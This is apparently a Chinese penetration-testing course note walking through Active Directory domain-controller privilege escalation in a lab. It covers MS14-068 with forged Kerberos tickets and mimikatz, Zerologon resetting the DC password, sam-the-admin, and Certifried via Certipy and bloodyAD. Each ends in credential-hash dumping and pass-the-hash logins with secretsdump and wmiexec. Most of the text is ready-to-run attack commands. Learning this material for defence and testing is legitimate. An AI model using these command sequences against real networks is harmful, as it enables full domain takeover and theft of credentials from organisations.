小迪安全v2023学习笔记(一百四十三讲)—— Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞

文章目录

  • 权限提升------第一百四十三天
    • Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
      • 前置知识
      • [WIN-AD域控提权 - CVE_2014_6324](#WIN-AD域控提权 - CVE_2014_6324)
        • [1. 获取域用户SID值](#1. 获取域用户SID值)
        • [2. 从域控获取时间,从而得到域控主机名](#2. 从域控获取时间,从而得到域控主机名)
        • [3. ping该主机名,获取域控IP](#3. ping该主机名,获取域控IP)
        • [4. 获取当前域用户的一些基本信息](#4. 获取当前域用户的一些基本信息)
        • [5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书](#5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书)
        • [6. mimikatz导入伪造的kerberos协议认证证书](#6. mimikatz导入伪造的kerberos协议认证证书)
        • [7. 尝试链接域控C盘](#7. 尝试链接域控C盘)
        • [8. 使用psexec获取域控cmd权限](#8. 使用psexec获取域控cmd权限)
      • [WIN-AD域控提权 - CVE_2020_1472](#WIN-AD域控提权 - CVE_2020_1472)
        • [1. 漏洞检测](#1. 漏洞检测)
        • [2. 利用漏洞重置域控为空密码](#2. 利用漏洞重置域控为空密码)
        • [3. 连接域控导出密码hash](#3. 连接域控导出密码hash)
        • [4. 利用WMI连接域控](#4. 利用WMI连接域控)
      • [WIN-AD域控提权 - CVE_2021_42287](#WIN-AD域控提权 - CVE_2021_42287)
      • [WIN-AD域控提权 - CVE_2022_26923](#WIN-AD域控提权 - CVE_2022_26923)
        • [1. 获取CA结构名和计算机名](#1. 获取CA结构名和计算机名)
        • [2. 利用Certipy工具申请证书](#2. 利用Certipy工具申请证书)
        • [3. 利用Certipy工具检测证书](#3. 利用Certipy工具检测证书)
        • [4. 利用bloodyAD工具添加用户](#4. 利用bloodyAD工具添加用户)
        • [5. 利用bloodyAD工具设置属性](#5. 利用bloodyAD工具设置属性)
        • [6. 利用Certipy工具申请证书](#6. 利用Certipy工具申请证书)
        • [7. 利用Certipy工具检测证书](#7. 利用Certipy工具检测证书)
        • [8. 利用Impacket工具获取密码hash](#8. 利用Impacket工具获取密码hash)
        • [9. 通过获取的hash登录域控](#9. 通过获取的hash登录域控)

权限提升------第一百四十三天

Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞

前置知识

所处环境
  • 本节课是权限提升的最后一讲,我们所处的位置是:

  • 然后本节课重回Windows提权,不过这里是关于内网的提权知识,所以会讲得比较粗略一些

  • 所以我觉得这节课搞不懂没关系,我也搞不太懂,只能说学了内网之后再回来好好看看吧

实战场景
  1. 通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,
  2. 与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。
什么是内网域?
  • 指的是一个组织或企业内部构建的、基于域(Domain)架构的私有网络系统。这个环境的核心是Windows Server 的 Active Directory(AD)域服务**,用于集中管理用户、计算机、权限、策略等资源。
  • 简单来说,就是一个公司或组织内部,用 Windows 域控制器(AD)统一管理所有电脑和用户的网络系统。
如何判断目标是否加入域环境?
图形化操作
命令行操作
  • 运行 net time /domain 该命令后,一般会有如下三种情况:
shell 复制代码
1.存在域,但当前用户不是域用户,提示说明权限不够
  C:\Windows>net time /domain
  发生系统错误 5 
  拒绝访问.

2.存在域,并且当前用户是域用户
  C:\Windows\Temp>net time /domain
  \\OWA2010SP3.0day.org 的当前时间是 2020/1/25 16:12:49
  令成功完成。

3.当前网络环境为工作组,不存在域
  C:\Users\Administrator>net time /domain
  找不到域 WORKGROUP 的域控制器。
域环境搭建

WIN-AD域控提权 - CVE_2014_6324

1. 获取域用户SID值
shell 复制代码
whoami /user
2. 从域控获取时间,从而得到域控主机名
shell 复制代码
net time /domain
3. ping该主机名,获取域控IP
shell 复制代码
ping DC.test.local
4. 获取当前域用户的一些基本信息
shell 复制代码
net config workstation
5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书
shell 复制代码
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u john@test.local -p Admin123 -s S-1-5-21-2231436360-2128388746-3884401522-1106 -d 192.168.0.148
  • 他会生成这样一个文件出来
6. mimikatz导入伪造的kerberos协议认证证书
  • 运行mimikatz程序,先查看当前本地票据
shell 复制代码
kerberos::list
  • 然后清理掉这些缓存信息:
shell 复制代码
kerberos::purge
  • 接着导入我们之前生成的kerberos协议认证证书:
shell 复制代码
kerberos::ptc "TGT_john@test.local.ccache"
7. 尝试链接域控C盘
shell 复制代码
dir \\DC.test.local\C$
8. 使用psexec获取域控cmd权限
shell 复制代码
PsExec.exe \\DC.test.local cmd

WIN-AD域控提权 - CVE_2020_1472

1. 漏洞检测
  • 在已知域控主机名之后,下载项目中的PoC,用python运行:
shell 复制代码
python zerologon_tester.py <域控主机名> <域控IP>
2. 利用漏洞重置域控为空密码
  • 检测到漏洞可能存在之后,我们直接用EXP脚本去尝试利用:
shell 复制代码
python cve-2020-1472-exploit.py <域控主机名> <域控IP>
3. 连接域控导出密码hash
  • 然后我们用Impacket项目中的secretsdump.py文件去尝试导出域控存储的密码hash值:
shell 复制代码
python secretsdump.py <域环境>/<域控主机名>\$@<域控IP> -no-pass
  • 这里失败了,可能是我这台机器打过补丁,不允许以空哈希值登录了,如果成功它会导出所有用户的hash值,类似这样:
4. 利用WMI连接域控
  • 当我们获取到管理员的hash值之后,就可以通过impacket下的wmiexec.py脚本去尝试登录:
shell 复制代码
python wmiexec.py <域>/administrator@<域控IP> -hashes <域控密码hash>

WIN-AD域控提权 - CVE_2021_42287

  • 项目地址https://github.com/WazeHell/sam-the-admin
  • 利用条件:需要域内主机用户账号密码
  • 影响版本Windows Server 2008 - Windows Server 2022
  • 知道域内某个主机用户的账号密码后,直接运行上面的python脚本即可尝试提权:
shell 复制代码
python sam_the_admin.py <域>/'<域成员账号>:<域成员密码>' -dc-ip <域控IP> -shell
  • 在最后一步失败了,我真是没招了,也没学过内网,搞不懂是哪里出现了问题,正常结果就是直接拿到Shell了:

WIN-AD域控提权 - CVE_2022_26923

shell 复制代码
# Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local

# 域内信息
192.168.3.111
test Pass123  # 普通域用户账号密码
xiaodi-DC-CA  # ca名
DC.xiaodi.local  # 域控名
1. 获取CA结构名和计算机名
shell 复制代码
certutil -config - -ping
2. 利用Certipy工具申请证书
shell 复制代码
certipy req 'xiaodi.local/test:Pass123@DC.xiaodi.local' -ca xiaodi-DC-CA -template User -debug
3. 利用Certipy工具检测证书
shell 复制代码
certipy auth -pfx test.pfx
4. 利用bloodyAD工具添加用户
shell 复制代码
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'
5. 利用bloodyAD工具设置属性
shell 复制代码
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'
6. 利用Certipy工具申请证书
shell 复制代码
certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
7. 利用Certipy工具检测证书
shell 复制代码
certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
8. 利用Impacket工具获取密码hash
shell 复制代码
python secretsdump.py 'xiaodi.local/dc$@DC.xiaodi.local' -hashes :b6046c1026699b59301ff66341838df4
9. 通过获取的hash登录域控
shell 复制代码
python wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
相关推荐
淮北4946 小时前
vim学习进阶
学习·编辑器·vim
智者知已应修善业7 小时前
【proteus中lm339电压滞回比较器达到三角波转换成方波】2023-4-13
驱动开发·经验分享·笔记·硬件架构·proteus·硬件工程
551只玄猫7 小时前
新编大学德语1第三版笔记 第5课Essen und Trinken
笔记·学习笔记·德语·外语·德语a1·自学德语·新编大学德语
sayang_shao7 小时前
ARM架构运行模式学习笔记
arm开发·学习·架构
不只会拍照的程序猿8 小时前
《嵌入式AI筑基笔记02:Python数据类型01,从C的“硬核”到Python的“包容”》
人工智能·笔记·python
happymaker06269 小时前
web前端学习日记——DAY04
前端·学习
小涛不学习10 小时前
手写线程池(从0实现 ThreadPoolExecutor 核心思想)
windows
twc82910 小时前
大模型生成 QA Pairs 提升 RAG 应用测试效率的实践
服务器·数据库·人工智能·windows·rag·大模型测试
solicitous10 小时前
遇到一个口头机遇
学习·生活
云道轩11 小时前
deepseek对 Oracle Fusion Cloud Applications 安全的分析
安全·fusion